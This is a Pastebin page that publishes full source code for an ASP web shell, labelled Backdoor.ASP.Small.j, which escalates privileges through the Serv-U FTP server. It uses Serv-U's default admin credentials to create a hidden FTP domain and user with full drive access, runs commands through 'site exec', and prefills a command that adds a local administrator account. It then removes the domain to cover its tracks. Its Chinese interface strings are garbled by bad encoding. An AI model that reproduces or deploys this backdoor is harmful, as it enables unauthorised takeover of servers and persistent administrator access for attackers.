Advertisement
FlyFar

Backdoor.ASP.Small.j - Source Code

Jun 11th, 2023
1,618
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASP 6.10 KB | Cybersecurity | 0 0
  1. <%
  2. 'Serv-U asp ��Ȩ����
  3. 'author: Goldsun[at]84823714
  4. 'DO NOT use it to do evil things!
  5.  
  6. Dim user, pass, port, ftpport, cmd, loginuser, loginpass, deldomain, mt, newdomain, newuser, quit
  7. dim action
  8. action=request("action")
  9. if not isnumeric(action) then response.end
  10. user = trim(request("u"))
  11. pass = trim(request("p"))
  12. port = trim(request("port"))
  13. cmd = trim(request("c"))
  14. f=trim(request("f"))
  15. if f="" then
  16. f=gpath()
  17. else
  18.   f=left(f,2)
  19. end if
  20. ftpport = 65500
  21. timeout=3
  22.  
  23. loginuser = "User " & user & vbCrLf
  24. loginpass = "Pass " & pass & vbCrLf
  25. deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf
  26. mt = "SITE MAINTENANCE" & vbCrLf
  27. newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf
  28. newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _
  29.     "-HomeDir=c:\\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _
  30.     "-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _
  31.     "-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _
  32.     "-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _
  33.     "-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _
  34.     "-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\\|RWAMELCDP" & vbCrLf
  35. quit = "QUIT" & vbCrLf
  36. newuser=replace(newuser,"c:",f)
  37. select case action
  38. case 1
  39.   set a=Server.CreateObject("Microsoft.XMLHTTP")
  40.   a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s1",True, "", ""
  41.   a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quit
  42.   set session("a")=a
  43. %>
  44. <form method="post" name="goldsun">
  45. <input name="u" type="hidden" id="u" value="<%=user%>"></td>
  46. <input name="p" type="hidden" id="p" value="<%=pass%>"></td>
  47. <input name="port" type="hidden" id="port" value="<%=port%>"></td>
  48. <input name="c" type="hidden" id="c" value="<%=cmd%>" size="50">
  49. <input name="f" type="hidden" id="f" value="<%=f%>" size="50">
  50. <input name="action" type="hidden" id="action" value="2"></form>
  51. <script language="javascript">
  52. document.write('<center>�������� 127.0.0.1:<%=port%>,ʹ���û���: <%=user%>,���<%=pass%>...<center>');
  53. setTimeout("document.all.goldsun.submit();",4000);
  54. </script>
  55. <%
  56. case 2
  57.   set b=Server.CreateObject("Microsoft.XMLHTTP")
  58.   b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2", True, "", ""
  59.   b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd & vbCrLf & quit
  60.   set session("b")=b
  61. %>
  62. <form method="post" name="goldsun">
  63. <input name="u" type="hidden" id="u" value="<%=user%>"></td>
  64. <input name="p" type="hidden" id="p" value="<%=pass%>"></td>
  65. <input name="port" type="hidden" id="port" value="<%=port%>"></td>
  66. <input name="c" type="hidden" id="c" value="<%=cmd%>" size="50">
  67. <input name="f" type="hidden" id="f" value="<%=f%>" size="50">
  68. <input name="action" type="hidden" id="action" value="3"></form>
  69. <script language="javascript">
  70. document.write('<center>��������Ȩ��,��ȴ�...,<center>');
  71. setTimeout("document.all.goldsun.submit();",4000);
  72. </script>
  73. <%
  74. case 3
  75.   set c=Server.CreateObject("Microsoft.XMLHTTP")
  76.   c.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3", True, "", ""
  77.   c.send loginuser & loginpass & mt & deldomain & quit
  78.   set session("c")=c
  79. %>
  80. <center>��Ȩ���,��ִ�������<br><font color=red><%=cmd%></font><br><br>
  81. <input type=button value=" ���ؼ��� " onClick="location.href='<%=gname()%>';">
  82. </center>
  83.  
  84. <%
  85. case else
  86. on error resume next
  87.   set a=session("a")
  88.   set b=session("b")
  89.   set c=session("c")
  90.   a.abort
  91.   Set a = Nothing
  92.   b.abort
  93.   Set b = Nothing
  94.   c.abort
  95.   Set c = Nothing
  96. %>
  97. <center><form method="post" name="goldsun">
  98. <table width="494" height="163" border="1" cellpadding="0" cellspacing="1" bordercolor="#666666">
  99. <tr align="center" valign="middle">
  100.   <td colspan="2">Serv-U ����Ȩ�� ASP�� Goldsun[at]84823714</td>
  101. </tr>
  102. <tr align="center" valign="middle">
  103.   <td width="100">�û���:</td>
  104.   <td width="379"><input name="u" type="text" id="u" value="LocalAdministrator"></td>
  105. </tr>
  106. <tr align="center" valign="middle">
  107.   <td>�ڡ��</td>
  108.   <td><input name="p" type="text" id="p" value="#l@$ak#.lk;0@P"></td>
  109. </tr>
  110. <tr align="center" valign="middle">
  111.   <td>�ˡ��ڣ�</td>
  112.   <td><input name="port" type="text" id="port" value="43958"></td>
  113. </tr>
  114. <tr align="center" valign="middle">
  115.   <td>ϵͳ·����</td>
  116.   <td><input name="f" type="text" id="f" value="<%=f%>" size="8"></td>
  117. </tr>
  118. <tr align="center" valign="middle">
  119.   <td>�����</td>
  120.   <td><input name="c" type="text" id="c" value="cmd /c net user goldsun love /add & net localgroup administrators goldsun /add" size="50"></td>
  121. </tr>
  122.  
  123. <tr align="center" valign="middle">
  124.   <td colspan="2"><input type="submit" name="Submit" value="�ύ">��
  125.     <input type="reset" name="Submit2" value="����">
  126.     <input name="action" type="hidden" id="action" value="1"></td>
  127. </tr>
  128. </table></form></center>
  129. <% end select
  130. function Gpath()
  131. on error resume next
  132.   err.clear
  133.   set f=Server.CreateObject("Scripting.FileSystemObject")
  134.   if err.number>0 then
  135.    gpath="c:"
  136.     exit function
  137.   end if
  138. gpath=f.GetSpecialFolder(0)
  139. gpath=lcase(left(gpath,2))
  140. set f=nothing
  141. end function
  142. Function GName()
  143. If request.servervariables("SERVER_PORT")="80" Then
  144. GName="http://" & request.servervariables("server_name")&lcase(request.servervariables("script_name"))
  145. Else
  146. GName="http://" & request.servervariables("server_name")&":"&request.servervariables("SERVER_PORT")&lcase(request.servervariables("script_name"))
  147. End If
  148. End Function
  149. %>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement